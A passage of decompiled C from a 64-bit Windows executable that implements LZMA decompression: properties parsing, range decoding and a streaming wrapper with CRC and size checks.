        FUN_140004330(local_78);
        (*local_60)(local_178,local_158);
        puVar9 = local_178;
      }
      FUN_1400026d0(&local_108,(byte *)puVar9,5,puVar1);
      (**(code **)(param_1 + 0x50008))(puVar1,puVar6);
      local_180 = 0x40000;
      local_178[0] = 0x10000;
      iVar4 = (*(code *)param_2)(param_3,param_1,local_178);
      uVar11 = uVar7;
      while (iVar4 == 0) {
        if (local_178[0] == 0) {
          uVar7 = 0x12;
          goto LAB_140002647;
        }
        param_6 = 0;
        uVar10 = uVar7;
        local_188 = local_178[0];
        while( true ) {
          bVar3 = FUN_140003670((char *)&local_108,param_1 + 0x10000,&local_180,
                                (byte *)(uVar10 + param_1),&local_188,0,&param_6);
          if ((int)CONCAT71(extraout_var,bVar3) != 0) {
            uVar7 = 0x11;
            goto LAB_140002647;
          }
          if ((iVar2 == 0) && (local_180 != 0)) {
            uVar5 = FUN_140004270(uVar5,(byte *)(param_1 + 0x10000),local_180);
          }
          uVar11 = uVar11 + local_180;
          uVar8 = (*(code *)param_4)(param_5,param_1 + 0x10000);
          if (uVar8 != local_180) {
            uVar7 = 0xf;
            goto LAB_140002647;
          }
          uVar10 = uVar10 + local_188;
          if (local_178[0] <= uVar10) break;
          local_188 = local_178[0] - uVar10;
          if (param_6 == 1) goto LAB_1400025ad;
        }
        if (param_6 == 1) {
LAB_1400025ad:
          if (local_120 != 0) {
            if ((local_120 <= local_188) && (local_110 != (code *)0x0)) {
              (*local_110)(uVar10 + param_1,local_168);
            }
LAB_1400025d4:
            if (local_120 != 0) {
              if (local_168[0] == ~uVar5) {
                if (local_160 != uVar11) {
                  uVar7 = 0x14;
                }
              }
              else {
                uVar7 = 0x13;
              }
              goto LAB_140002647;
            }
          }
          if ((local_155 == '\0') && (local_150 != uVar11)) {
            uVar7 = 0x14;
          }
          goto LAB_140002647;
        }
        if ((local_155 == '\0') && (local_150 <= uVar11)) goto LAB_1400025d4;
        local_180 = 0x40000;
        local_178[0] = 0x10000;
        local_188 = 0;
        iVar4 = (*(code *)param_2)(param_3,param_1,local_178);
      }
      uVar7 = 0xe;
LAB_140002647:
      FUN_140003aa0((longlong)&local_108,param_1 + 0x50000);
    }
    else {
      (**(code **)(param_1 + 0x50008))(puVar1);
      uVar7 = 0x10;
    }
  }
  else {
    (**(code **)(param_1 + 0x50008))(puVar1,puVar6);
    uVar7 = 0xe;
  }
  return uVar7;
}



undefined8 FUN_1400026d0(undefined8 *param_1,byte *param_2,uint param_3,undefined8 *param_4)

{
  byte bVar1;
  uint uVar2;
  ulonglong uVar3;
  longlong lVar4;
  undefined8 uVar5;
  int iVar6;
  uint uVar7;
  ulonglong uVar8;
  uint uVar9;
  
  if (param_3 < 5) {
    return 4;
  }
  uVar2 = *(uint *)(param_2 + 1);
  if (*(uint *)(param_2 + 1) < 0x1000) {
    uVar2 = 0x1000;
  }
  bVar1 = *param_2;
  if (0xe0 < bVar1) {
    return 4;
  }
  uVar9 = (uint)bVar1 % 9;
  uVar3 = (ulonglong)(uint)bVar1 / 9;
  iVar6 = (int)uVar3 + (int)(uVar3 / 5) * -5;
  uVar7 = (0x300 << ((char)iVar6 + (char)uVar9 & 0x1fU)) + 0x736;
  if ((param_1[2] == 0) || (uVar7 != *(uint *)(param_1 + 0xd))) {
    (*(code *)param_4[1])(param_4);
    param_1[2] = 0;
    lVar4 = (*(code *)*param_4)(param_4,(ulonglong)uVar7 * 2);
    param_1[2] = lVar4;
    *(uint *)(param_1 + 0xd) = uVar7;
    if (lVar4 != 0) goto LAB_1400027c4;
LAB_140002809:
    uVar5 = 2;
  }
  else {
LAB_1400027c4:
    uVar8 = (ulonglong)uVar2;
    if ((param_1[3] == 0) || (uVar8 != param_1[7])) {
      (*(code *)param_4[1])(param_4);
      param_1[3] = 0;
      lVar4 = (*(code *)*param_4)(param_4,uVar8);
      param_1[3] = lVar4;
      if (lVar4 == 0) {
        (*(code *)param_4[1])(param_4,param_1[2]);
        param_1[2] = 0;
        goto LAB_140002809;
      }
    }
    param_1[7] = uVar8;
    uVar5 = 0;
    *param_1 = CONCAT44(iVar6,uVar9);
    param_1[1] = CONCAT44(uVar2,(int)(uVar3 / 5));
  }
  return uVar5;
}



undefined8 FUN_140002840(undefined4 *param_1,ulonglong param_2,byte *param_3)

{
  short *psVar1;
  ushort uVar2;
  undefined4 uVar3;
  undefined4 uVar4;
  undefined4 uVar5;
  uint uVar6;
  longlong lVar7;
  longlong lVar8;
  ulonglong uVar9;
  uint uVar10;
  uint uVar11;
  short sVar12;
  uint uVar13;
  uint uVar14;
  uint uVar15;
  uint uVar16;
  longlong lVar17;
  undefined *puVar18;
  ulonglong uVar19;
  longlong lVar20;
  ulonglong uVar21;
  short *psVar22;
  uint uVar23;
  int iVar24;
  ulonglong uVar25;
  undefined *puVar26;
  uint uVar27;
  uint uVar28;
  byte *pbVar29;
  ulonglong uVar30;
  uint uVar31;
  bool bVar32;
  uint local_res20;
  uint local_88;
  uint local_84;
  uint local_80;
  uint local_7c;
  
  local_88 = param_1[0x13];
  uVar28 = param_1[0x16];
  lVar7 = *(longlong *)(param_1 + 4);
  iVar24 = 0;
  uVar31 = param_1[0x12];
  uVar3 = *param_1;
  lVar8 = *(longlong *)(param_1 + 6);
  local_res20 = param_1[0x10];
  uVar30 = *(ulonglong *)(param_1 + 0xc);
  pbVar29 = *(byte **)(param_1 + 8);
  uVar27 = param_1[10];
  local_84 = param_1[0x14];
  local_80 = param_1[0x15];
  uVar4 = param_1[2];
  uVar5 = param_1[1];
  uVar9 = *(ulonglong *)(param_1 + 0xe);
  uVar6 = param_1[0x11];
  uVar11 = param_1[0xb];
  local_7c = uVar28;
  do {
    uVar23 = local_res20 & (1 << ((byte)uVar4 & 0x1f)) - 1U;
    lVar20 = (ulonglong)(uVar31 << 4) + (ulonglong)uVar23;
    uVar2 = *(ushort *)(lVar7 + lVar20 * 2);
    if (uVar27 < 0x1000000) {
      uVar11 = uVar11 << 8 | (uint)*pbVar29;
      uVar27 = uVar27 << 8;
      pbVar29 = pbVar29 + 1;
    }
    uVar13 = (uVar27 >> 0xb) * (uint)uVar2;
    if (uVar11 < uVar13) {
      lVar17 = lVar7 + 0xe6c;
      *(ushort *)(lVar7 + lVar20 * 2) = (short)(0x800 - uVar2 >> 5) + uVar2;
      if ((uVar6 != 0) || (local_res20 != 0)) {
        uVar25 = uVar30;
        if (uVar30 == 0) {
          uVar25 = uVar9;
        }
        lVar17 = lVar17 + (ulonglong)
                          (((uint)(*(byte *)((uVar25 - 1) + lVar8) >> (8 - (byte)uVar3 & 0x1f)) +
                           ((local_res20 & (1 << ((byte)uVar5 & 0x1f)) - 1U) << ((byte)uVar3 & 0x1f)
                           )) * 0x300) * 2;
      }
      uVar25 = 1;
      uVar27 = uVar13;
      if (uVar31 < 7) {
        do {
          uVar2 = *(ushort *)(lVar17 + uVar25 * 2);
          lVar20 = uVar25 * 2;
          if (uVar27 < 0x1000000) {
            uVar11 = uVar11 << 8 | (uint)*pbVar29;
            uVar27 = uVar27 << 8;
            pbVar29 = pbVar29 + 1;
          }
          uVar23 = (int)uVar25 * 2;
          uVar13 = (uVar27 >> 0xb) * (uint)uVar2;
          if (uVar11 < uVar13) {
            sVar12 = (short)(0x800 - uVar2 >> 5);
            uVar27 = uVar13;
          }
          else {
            uVar27 = uVar27 - uVar13;
            uVar11 = uVar11 - uVar13;
            uVar23 = uVar23 + 1;
            sVar12 = -(uVar2 >> 5);
          }
          uVar25 = (ulonglong)uVar23;
          *(ushort *)(lVar17 + lVar20) = sVar12 + uVar2;
        } while (uVar23 < 0x100);
      }
      else {
        uVar21 = 0x100;
        uVar19 = 0;
        if (uVar30 < local_88) {
          uVar19 = uVar9;
        }
        uVar23 = (uint)*(byte *)((uVar19 - local_88) + *(longlong *)(param_1 + 6) + uVar30);
        do {
          uVar23 = uVar23 * 2;
          uVar28 = (uint)uVar21 & uVar23;
          lVar20 = uVar28 + uVar21 + uVar25;
          uVar2 = *(ushort *)(lVar17 + lVar20 * 2);
          if (uVar27 < 0x1000000) {
            uVar11 = uVar11 << 8 | (uint)*pbVar29;
            uVar27 = uVar27 << 8;
            pbVar29 = pbVar29 + 1;
          }
          uVar13 = (int)uVar25 * 2;
          uVar14 = (uVar27 >> 0xb) * (uint)uVar2;
          if (uVar11 < uVar14) {
            uVar28 = ~uVar28;
            sVar12 = (short)(0x800 - uVar2 >> 5);
            uVar27 = uVar14;
          }
          else {
            uVar27 = uVar27 - uVar14;
            uVar11 = uVar11 - uVar14;
            uVar13 = uVar13 + 1;
            sVar12 = -(uVar2 >> 5);
          }
          uVar25 = (ulonglong)uVar13;
          uVar21 = (ulonglong)((uint)uVar21 & uVar28);
          *(ushort *)(lVar17 + lVar20 * 2) = sVar12 + uVar2;
          uVar28 = local_7c;
        } while (uVar13 < 0x100);
      }
      *(char *)(uVar30 + lVar8) = (char)uVar25;
      uVar30 = uVar30 + 1;
      uVar31 = (uint)(byte)(&DAT_140006110)[uVar31];
      local_res20 = local_res20 + 1;
    }
    else {
      uVar27 = uVar27 - uVar13;
      uVar25 = (ulonglong)uVar31;
      uVar11 = uVar11 - uVar13;
      *(ushort *)(lVar7 + lVar20 * 2) = uVar2 - (uVar2 >> 5);
      uVar2 = *(ushort *)(lVar7 + 0x180 + uVar25 * 2);
      if (uVar27 < 0x1000000) {
        uVar11 = uVar11 * 0x100 | (uint)*pbVar29;
        uVar27 = uVar27 * 0x100;
        pbVar29 = pbVar29 + 1;
      }
      uVar14 = (uVar27 >> 0xb) * (uint)uVar2;
      uVar13 = uVar28;
      if (uVar11 < uVar14) {
        *(ushort *)(lVar7 + 0x180 + uVar25 * 2) = (short)(0x800 - uVar2 >> 5) + uVar2;
        uVar31 = uVar31 + 0xc;
        lVar20 = 0x664;
      }
      else {
        uVar27 = uVar27 - uVar14;
        uVar11 = uVar11 - uVar14;
        *(ushort *)(lVar7 + 0x180 + uVar25 * 2) = uVar2 - (uVar2 >> 5);
        if ((uVar6 == 0) && (local_res20 == 0)) {
          return 1;
        }
        uVar2 = *(ushort *)(lVar7 + 0x198 + uVar25 * 2);
        if (uVar27 < 0x1000000) {
          uVar11 = uVar11 * 0x100 | (uint)*pbVar29;
          uVar27 = uVar27 * 0x100;
          pbVar29 = pbVar29 + 1;
        }
        uVar14 = (uVar27 >> 0xb) * (uint)uVar2;
        if (uVar11 < uVar14) {
          *(ushort *)(lVar7 + 0x198 + uVar25 * 2) = (short)(0x800 - uVar2 >> 5) + uVar2;
          uVar2 = *(ushort *)(lVar7 + 0x1e0 + lVar20 * 2);
          if (uVar14 < 0x1000000) {
            uVar11 = uVar11 << 8 | (uint)*pbVar29;
            uVar14 = uVar14 * 0x100;
            pbVar29 = pbVar29 + 1;
          }
          uVar27 = (uVar14 >> 0xb) * (uint)uVar2;
          if (uVar11 < uVar27) {
            *(ushort *)(lVar7 + 0x1e0 + lVar20 * 2) = (short)(0x800 - uVar2 >> 5) + uVar2;
            uVar25 = 0;
            if (uVar30 < local_88) {
              uVar25 = uVar9;
            }
            local_res20 = local_res20 + 1;
            *(undefined *)(uVar30 + lVar8) = *(undefined *)((uVar25 - local_88) + uVar30 + lVar8);
            uVar30 = uVar30 + 1;
            bVar32 = uVar31 < 7;
            uVar31 = 0xb;
            if (bVar32) {
              uVar31 = 9;
            }
            goto LAB_140003538;
          }
          uVar14 = uVar14 - uVar27;
          uVar11 = uVar11 - uVar27;
          *(ushort *)(lVar7 + 0x1e0 + lVar20 * 2) = uVar2 - (uVar2 >> 5);
        }
        else {
          uVar27 = uVar27 - uVar14;
          uVar11 = uVar11 - uVar14;
          *(ushort *)(lVar7 + 0x198 + uVar25 * 2) = uVar2 - (uVar2 >> 5);
          uVar2 = *(ushort *)(lVar7 + 0x1b0 + uVar25 * 2);
          if (uVar27 < 0x1000000) {
            uVar11 = uVar11 * 0x100 | (uint)*pbVar29;
            uVar27 = uVar27 * 0x100;
            pbVar29 = pbVar29 + 1;
          }
          uVar14 = (uVar27 >> 0xb) * (uint)uVar2;
          if (uVar11 < uVar14) {
            *(ushort *)(lVar7 + 0x1b0 + uVar25 * 2) = (short)(0x800 - uVar2 >> 5) + uVar2;
            uVar28 = local_84;
          }
          else {
            uVar27 = uVar27 - uVar14;
            uVar11 = uVar11 - uVar14;
            *(ushort *)(lVar7 + 0x1b0 + uVar25 * 2) = uVar2 - (uVar2 >> 5);
            uVar2 = *(ushort *)(lVar7 + 0x1c8 + uVar25 * 2);
            if (uVar27 < 0x1000000) {
              uVar11 = uVar11 * 0x100 | (uint)*pbVar29;
              uVar27 = uVar27 * 0x100;
              pbVar29 = pbVar29 + 1;
            }
            uVar15 = (uVar27 >> 0xb) * (uint)uVar2;
            if (uVar11 < uVar15) {
              sVar12 = (short)(0x800 - uVar2 >> 5);
              uVar14 = uVar15;
              uVar28 = local_80;
            }
            else {
              uVar14 = uVar27 - uVar15;
              uVar11 = uVar11 - uVar15;
              local_7c = local_80;
              sVar12 = -(uVar2 >> 5);
              uVar13 = local_80;
            }
            local_80 = local_84;
            *(ushort *)(lVar7 + 0x1c8 + uVar25 * 2) = sVar12 + uVar2;
          }
          local_84 = local_88;
          local_88 = uVar28;
        }
        bVar32 = uVar31 < 7;
        uVar31 = 0xb;
        if (bVar32) {
          uVar31 = 8;
        }
        lVar20 = 0xa68;
      }
      uVar10 = local_80;
      uVar15 = local_84;
      uVar28 = 8;
      uVar2 = *(ushort *)(lVar20 + lVar7);
      psVar1 = (short *)(lVar20 + lVar7);
      if (uVar14 < 0x1000000) {
        uVar11 = uVar11 << 8 | (uint)*pbVar29;
        uVar14 = uVar14 << 8;
        pbVar29 = pbVar29 + 1;
      }
      uVar27 = (uVar14 >> 0xb) * (uint)uVar2;
      if (uVar11 < uVar27) {
        psVar22 = psVar1 + (ulonglong)(uVar23 * 8) + 2;
        *psVar1 = (short)(0x800 - uVar2 >> 5) + uVar2;
        iVar24 = 0;
      }
      else {
        uVar14 = uVar14 - uVar27;
        uVar11 = uVar11 - uVar27;
        *psVar1 = uVar2 - (uVar2 >> 5);
        uVar2 = psVar1[1];
        if (uVar14 < 0x1000000) {
          uVar11 = uVar11 * 0x100 | (uint)*pbVar29;
          uVar14 = uVar14 * 0x100;
          pbVar29 = pbVar29 + 1;
        }
        uVar16 = (uVar14 >> 0xb) * (uint)uVar2;
        if (uVar11 < uVar16) {
          psVar22 = psVar1 + (ulonglong)(uVar23 * 8) + 0x82;
          iVar24 = 8;
          psVar1[1] = (short)(0x800 - uVar2 >> 5) + uVar2;
          uVar27 = uVar16;
        }
        else {
          uVar27 = uVar14 - uVar16;
          psVar22 = psVar1 + 0x102;
          uVar11 = uVar11 - uVar16;
          iVar24 = 0x10;
          uVar28 = 0x100;
          psVar1[1] = uVar2 - (uVar2 >> 5);
        }
      }
      uVar25 = 1;
      do {
        uVar2 = psVar22[uVar25];
        psVar1 = psVar22 + uVar25;
        if (uVar27 < 0x1000000) {
          uVar11 = uVar11 << 8 | (uint)*pbVar29;
          uVar27 = uVar27 << 8;
          pbVar29 = pbVar29 + 1;
        }
        uVar23 = (int)uVar25 * 2;
        uVar14 = (uVar27 >> 0xb) * (uint)uVar2;
        if (uVar11 < uVar14) {
          sVar12 = (short)(0x800 - uVar2 >> 5);
          uVar27 = uVar14;
        }
        else {
          uVar27 = uVar27 - uVar14;
          uVar11 = uVar11 - uVar14;
          uVar23 = uVar23 + 1;
          sVar12 = -(uVar2 >> 5);
        }
        uVar25 = (ulonglong)uVar23;
        *psVar1 = sVar12 + uVar2;
      } while (uVar23 < uVar28);
      uVar23 = uVar23 + (iVar24 - uVar28);
      uVar28 = uVar13;
      if (0xb < uVar31) {
        uVar28 = 3;
        if (uVar23 < 4) {
          uVar28 = uVar23;
        }
        lVar20 = (ulonglong)(uVar28 << 6) + 0x1b0;
        uVar2 = *(ushort *)(lVar7 + 2 + lVar20 * 2);
        if (uVar27 < 0x1000000) {
          uVar11 = uVar11 << 8 | (uint)*pbVar29;
          uVar27 = uVar27 << 8;
          pbVar29 = pbVar29 + 1;
        }
        uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
        if (uVar11 < uVar28) {
          sVar12 = (short)(0x800 - uVar2 >> 5);
          lVar17 = 2;
          uVar14 = 4;
          uVar27 = uVar28;
        }
        else {
          uVar27 = uVar27 - uVar28;
          uVar11 = uVar11 - uVar28;
          sVar12 = -(uVar2 >> 5);
          lVar17 = 3;
          uVar14 = 6;
        }
        *(ushort *)(lVar7 + 2 + lVar20 * 2) = sVar12 + uVar2;
        lVar17 = (lVar20 + lVar17) * 2;
        uVar2 = *(ushort *)(lVar17 + lVar7);
        if (uVar27 < 0x1000000) {
          uVar11 = uVar11 << 8 | (uint)*pbVar29;
          uVar27 = uVar27 << 8;
          pbVar29 = pbVar29 + 1;
        }
        uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
        if (uVar11 < uVar28) {
          sVar12 = (short)(0x800 - uVar2 >> 5);
          uVar27 = uVar28;
        }
        else {
          uVar27 = uVar27 - uVar28;
          uVar11 = uVar11 - uVar28;
          uVar14 = uVar14 + 1;
          sVar12 = -(uVar2 >> 5);
        }
        *(ushort *)(lVar17 + lVar7) = sVar12 + uVar2;
        lVar17 = ((ulonglong)uVar14 + lVar20) * 2;
        uVar2 = *(ushort *)(lVar17 + lVar7);
        if (uVar27 < 0x1000000) {
          uVar11 = uVar11 << 8 | (uint)*pbVar29;
          uVar27 = uVar27 << 8;
          pbVar29 = pbVar29 + 1;
        }
        uVar14 = uVar14 * 2;
        uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
        if (uVar11 < uVar28) {
          sVar12 = (short)(0x800 - uVar2 >> 5);
          uVar27 = uVar28;
        }
        else {
          uVar27 = uVar27 - uVar28;
          uVar11 = uVar11 - uVar28;
          uVar14 = uVar14 + 1;
          sVar12 = -(uVar2 >> 5);
        }
        *(ushort *)(lVar17 + lVar7) = sVar12 + uVar2;
        lVar17 = ((ulonglong)uVar14 + lVar20) * 2;
        uVar2 = *(ushort *)(lVar17 + lVar7);
        if (uVar27 < 0x1000000) {
          uVar11 = uVar11 << 8 | (uint)*pbVar29;
          uVar27 = uVar27 << 8;
          pbVar29 = pbVar29 + 1;
        }
        uVar14 = uVar14 * 2;
        uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
        if (uVar11 < uVar28) {
          sVar12 = (short)(0x800 - uVar2 >> 5);
          uVar27 = uVar28;
        }
        else {
          uVar27 = uVar27 - uVar28;
          uVar11 = uVar11 - uVar28;
          uVar14 = uVar14 + 1;
          sVar12 = -(uVar2 >> 5);
        }
        *(ushort *)(lVar17 + lVar7) = sVar12 + uVar2;
        lVar17 = ((ulonglong)uVar14 + lVar20) * 2;
        uVar2 = *(ushort *)(lVar17 + lVar7);
        if (uVar27 < 0x1000000) {
          uVar11 = uVar11 << 8 | (uint)*pbVar29;
          uVar27 = uVar27 << 8;
          pbVar29 = pbVar29 + 1;
        }
        uVar14 = uVar14 * 2;
        uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
        if (uVar11 < uVar28) {
          sVar12 = (short)(0x800 - uVar2 >> 5);
          uVar27 = uVar28;
        }
        else {
          uVar27 = uVar27 - uVar28;
          uVar11 = uVar11 - uVar28;
          uVar14 = uVar14 + 1;
          sVar12 = -(uVar2 >> 5);
        }
        *(ushort *)(lVar17 + lVar7) = sVar12 + uVar2;
        lVar20 = ((ulonglong)uVar14 + lVar20) * 2;
        uVar2 = *(ushort *)(lVar20 + lVar7);
        if (uVar27 < 0x1000000) {
          uVar11 = uVar11 << 8 | (uint)*pbVar29;
          uVar27 = uVar27 << 8;
          pbVar29 = pbVar29 + 1;
        }
        iVar24 = uVar14 * 2;
        uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
        if (uVar11 < uVar28) {
          sVar12 = (short)(0x800 - uVar2 >> 5);
          uVar27 = uVar28;
        }
        else {
          uVar27 = uVar27 - uVar28;
          uVar11 = uVar11 - uVar28;
          iVar24 = iVar24 + 1;
          sVar12 = -(uVar2 >> 5);
        }
        uVar14 = iVar24 - 0x40;
        *(ushort *)(lVar20 + lVar7) = sVar12 + uVar2;
        if (3 < uVar14) {
          iVar24 = (uVar14 >> 1) - 1;
          uVar28 = uVar14 & 1 | 2;
          if (uVar14 < 0xe) {
            uVar28 = uVar28 << ((byte)iVar24 & 0x1f);
            uVar13 = 1;
            uVar25 = 1;
            lVar20 = lVar7 + 0x55e + ((ulonglong)uVar28 - (ulonglong)uVar14) * 2;
            uVar14 = uVar28;
            do {
              uVar2 = *(ushort *)(lVar20 + uVar25 * 2);
              lVar17 = uVar25 * 2;
              if (uVar27 < 0x1000000) {
                uVar11 = uVar11 << 8 | (uint)*pbVar29;
                uVar27 = uVar27 << 8;
                pbVar29 = pbVar29 + 1;
              }
              uVar28 = (int)uVar25 * 2;
              uVar16 = (uVar27 >> 0xb) * (uint)uVar2;
              if (uVar11 < uVar16) {
                sVar12 = (short)(0x800 - uVar2 >> 5);
                uVar27 = uVar16;
              }
              else {
                uVar27 = uVar27 - uVar16;
                uVar11 = uVar11 - uVar16;
                uVar28 = uVar28 + 1;
                uVar14 = uVar14 | uVar13;
                sVar12 = -(uVar2 >> 5);
              }
              uVar25 = (ulonglong)uVar28;
              uVar13 = uVar13 * 2;
              *(ushort *)(lVar20 + lVar17) = sVar12 + uVar2;
              iVar24 = iVar24 + -1;
            } while (iVar24 != 0);
          }
          else {
            iVar24 = (uVar14 >> 1) - 5;
            do {
              if (uVar27 < 0x1000000) {
                uVar11 = uVar11 << 8 | (uint)*pbVar29;
                uVar27 = uVar27 << 8;
                pbVar29 = pbVar29 + 1;
              }
              uVar27 = uVar27 >> 1;
              uVar14 = (int)(uVar11 - uVar27) >> 0x1f;
              uVar28 = uVar28 * 2 + 1 + uVar14;
              uVar11 = (uVar11 - uVar27) + (uVar14 & uVar27);
              iVar24 = iVar24 + -1;
            } while (iVar24 != 0);
            uVar2 = *(ushort *)(lVar7 + 0x646);
            uVar14 = uVar28 * 0x10;
            if (uVar27 < 0x1000000) {
              uVar11 = uVar11 * 0x100 | (uint)*pbVar29;
              uVar27 = uVar27 << 8;
              pbVar29 = pbVar29 + 1;
            }
            uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
            if (uVar11 < uVar28) {
              sVar12 = (short)(0x800 - uVar2 >> 5);
              uVar25 = 4;
              uVar27 = uVar28;
            }
            else {
              uVar27 = uVar27 - uVar28;
              uVar11 = uVar11 - uVar28;
              uVar14 = uVar14 | 1;
              sVar12 = -(uVar2 >> 5);
              uVar25 = 6;
            }
            *(ushort *)(lVar7 + 0x646) = sVar12 + uVar2;
            lVar20 = uVar25 + lVar7;
            uVar2 = *(ushort *)(lVar20 + 0x644);
            if (uVar27 < 0x1000000) {
              uVar11 = uVar11 << 8 | (uint)*pbVar29;
              uVar27 = uVar27 << 8;
              pbVar29 = pbVar29 + 1;
            }
            uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
            if (uVar11 < uVar28) {
              sVar12 = (short)(0x800 - uVar2 >> 5);
              uVar27 = uVar28;
            }
            else {
              uVar27 = uVar27 - uVar28;
              uVar11 = uVar11 - uVar28;
              uVar25 = (ulonglong)((int)uVar25 + 1);
              uVar14 = uVar14 | 2;
              sVar12 = -(uVar2 >> 5);
            }
            *(ushort *)(lVar20 + 0x644) = sVar12 + uVar2;
            uVar2 = *(ushort *)(uVar25 * 2 + 0x644 + lVar7);
            if (uVar27 < 0x1000000) {
              uVar11 = uVar11 << 8 | (uint)*pbVar29;
              uVar27 = uVar27 << 8;
              pbVar29 = pbVar29 + 1;
            }
            uVar28 = (int)uVar25 * 2;
            uVar16 = (uVar27 >> 0xb) * (uint)uVar2;
            if (uVar11 < uVar16) {
              sVar12 = (short)(0x800 - uVar2 >> 5);
              uVar27 = uVar16;
            }
            else {
              uVar27 = uVar27 - uVar16;
              uVar11 = uVar11 - uVar16;
              uVar28 = uVar28 + 1;
              uVar14 = uVar14 | 4;
              sVar12 = -(uVar2 >> 5);
            }
            *(ushort *)(uVar25 * 2 + 0x644 + lVar7) = sVar12 + uVar2;
            uVar2 = *(ushort *)((ulonglong)uVar28 * 2 + 0x644 + lVar7);
            if (uVar27 < 0x1000000) {
              uVar11 = uVar11 << 8 | (uint)*pbVar29;
              uVar27 = uVar27 << 8;
              pbVar29 = pbVar29 + 1;
            }
            uVar16 = (uVar27 >> 0xb) * (uint)uVar2;
            if (uVar11 < uVar16) {
              sVar12 = (short)(0x800 - uVar2 >> 5);
              uVar27 = uVar16;
            }
            else {
              uVar27 = uVar27 - uVar16;
              uVar11 = uVar11 - uVar16;
              uVar14 = uVar14 | 8;
              sVar12 = -(uVar2 >> 5);
            }
            *(ushort *)((ulonglong)uVar28 * 2 + 0x644 + lVar7) = sVar12 + uVar2;
            if (uVar14 == 0xffffffff) {
              iVar24 = uVar23 + 0x112;
              uVar31 = uVar31 - 0xc;
LAB_140003568:
              if (uVar27 < 0x1000000) {
                uVar11 = uVar11 << 8 | (uint)*pbVar29;
                uVar27 = uVar27 << 8;
                pbVar29 = pbVar29 + 1;
              }
              param_1[0xb] = uVar11;
              param_1[0x10] = local_res20;
              param_1[0x13] = local_88;
              *(byte **)(param_1 + 8) = pbVar29;
              param_1[10] = uVar27;
              param_1[0x17] = iVar24;
              *(ulonglong *)(param_1 + 0xc) = uVar30;
              param_1[0x14] = local_84;
              param_1[0x15] = local_80;
              param_1[0x16] = uVar13;
              param_1[0x12] = uVar31;
              return 0;
            }
          }
        }
        local_84 = local_88;
        local_7c = local_80;
        local_80 = uVar15;
        uVar28 = uVar6;
        if (uVar6 == 0) {
          uVar28 = local_res20;
        }
        if (uVar28 <= uVar14) {
          return 1;
        }
        bVar32 = uVar31 < 0x13;
        uVar31 = 10;
        uVar28 = uVar10;
        local_88 = uVar14 + 1;
        if (bVar32) {
          uVar31 = 7;
        }
      }
      uVar23 = uVar23 + 2;
      if (param_2 == uVar30) {
        return 1;
      }
      uVar25 = (ulonglong)uVar23;
      if (param_2 - uVar30 < (ulonglong)uVar23) {
        uVar25 = param_2 - uVar30 & 0xffffffff;
      }
      uVar19 = 0;
      if (uVar30 < local_88) {
        uVar19 = uVar9;
      }
      local_res20 = local_res20 + (int)uVar25;
      lVar20 = uVar19 - local_88;
      iVar24 = uVar23 - (int)uVar25;
      uVar19 = lVar20 + uVar30;
      if (uVar9 < uVar25 + uVar19) {
        do {
          *(undefined *)(uVar30 + lVar8) = *(undefined *)(uVar19 + lVar8);
          uVar21 = uVar19 + 1;
          uVar30 = uVar30 + 1;
          uVar19 = 0;
          if (uVar21 != uVar9) {
            uVar19 = uVar21;
          }
          uVar23 = (int)uVar25 - 1;
          uVar25 = (ulonglong)uVar23;
        } while (uVar23 != 0);
      }
      else {
        puVar18 = (undefined *)(uVar30 + lVar8);
        puVar26 = puVar18 + uVar25;
        uVar30 = uVar30 + uVar25;
        do {
          *puVar18 = puVar18[lVar20];
          puVar18 = puVar18 + 1;
        } while (puVar18 != puVar26);
      }
    }
LAB_140003538:
    uVar13 = uVar28;
    if ((param_2 <= uVar30) || (param_3 <= pbVar29)) goto LAB_140003568;
  } while( true );
}



undefined8 FUN_1400035d0(undefined4 *param_1,ulonglong param_2,byte *param_3)

{
  undefined8 uVar1;
  ulonglong uVar2;
  
  while( true ) {
    uVar2 = param_2;
    if (param_1[0x11] == 0) {
      if ((ulonglong)(uint)(param_1[3] - param_1[0x10]) < param_2 - *(longlong *)(param_1 + 0xc)) {
        uVar2 = (ulonglong)(uint)(param_1[3] - param_1[0x10]) + *(longlong *)(param_1 + 0xc);
      }
    }
    uVar1 = FUN_140002840(param_1,uVar2,param_3);
    if ((int)uVar1 != 0) break;
    if ((uint)param_1[3] <= (uint)param_1[0x10]) {
      param_1[0x11] = param_1[3];
    }
    FUN_140004110((longlong)param_1,param_2);
    if (((param_2 <= *(ulonglong *)(param_1 + 0xc)) || (param_3 <= *(byte **)(param_1 + 8))) ||
       (0x111 < (uint)param_1[0x17])) {
      if (0x112 < (uint)param_1[0x17]) {
        param_1[0x17] = 0x112;
      }
      return 0;
    }
  }
  return uVar1;
}



bool FUN_140003670(char *param_1,longlong param_2,ulonglong *param_3,byte *param_4,
                  ulonglong *param_5,uint param_6,undefined4 *param_7)

{
  byte bVar1;
  int iVar2;
  ulonglong uVar3;
  undefined8 uVar4;
  ulonglong uVar5;
  byte *pbVar6;
  ulonglong uVar7;
  ulonglong uVar8;
  uint uVar9;
  ulonglong uVar10;
  ulonglong uVar11;
  uint uVar12;
  ulonglong uVar13;
  undefined2 *puVar14;
  ulonglong uVar15;
  byte *pbVar16;
  bool bVar17;
  longlong local_res10;
  byte *local_res20;
  ulonglong local_68;
  
  uVar7 = *param_3;
  local_68 = *param_5;
  *param_3 = 0;
  *param_5 = 0;
  local_res10 = param_2;
  local_res20 = param_4;
  do {
    uVar15 = 0;
    uVar11 = *(ulonglong *)(param_1 + 0x38);
    uVar3 = *(ulonglong *)(param_1 + 0x30);
    if (*(ulonglong *)(param_1 + 0x30) == uVar11) {
      param_1[0x30] = '\0';
      param_1[0x31] = '\0';
      param_1[0x32] = '\0';
      param_1[0x33] = '\0';
      param_1[0x34] = '\0';
      param_1[0x35] = '\0';
      param_1[0x36] = '\0';
      param_1[0x37] = '\0';
      uVar3 = uVar15;
    }
    uVar13 = uVar15;
    if (uVar7 <= uVar11 - uVar3) {
      uVar13 = (ulonglong)param_6;
    }
    if (uVar7 <= uVar11 - uVar3) {
      uVar11 = uVar3 + uVar7;
    }
    FUN_140004110((longlong)param_1,uVar11);
    *param_7 = 0;
    iVar2 = *(int *)(param_1 + 0x5c);
    pbVar16 = local_res20;
    uVar8 = local_68;
